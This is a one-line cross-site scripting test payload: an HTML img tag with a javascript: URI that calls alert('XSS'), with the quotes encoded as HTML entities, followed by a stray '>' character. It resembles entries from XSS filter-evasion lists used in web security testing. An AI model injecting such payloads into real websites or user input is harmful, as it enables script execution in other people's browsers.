<IMG SRC=javascript:alert(&quot;XSS&quot;)>

>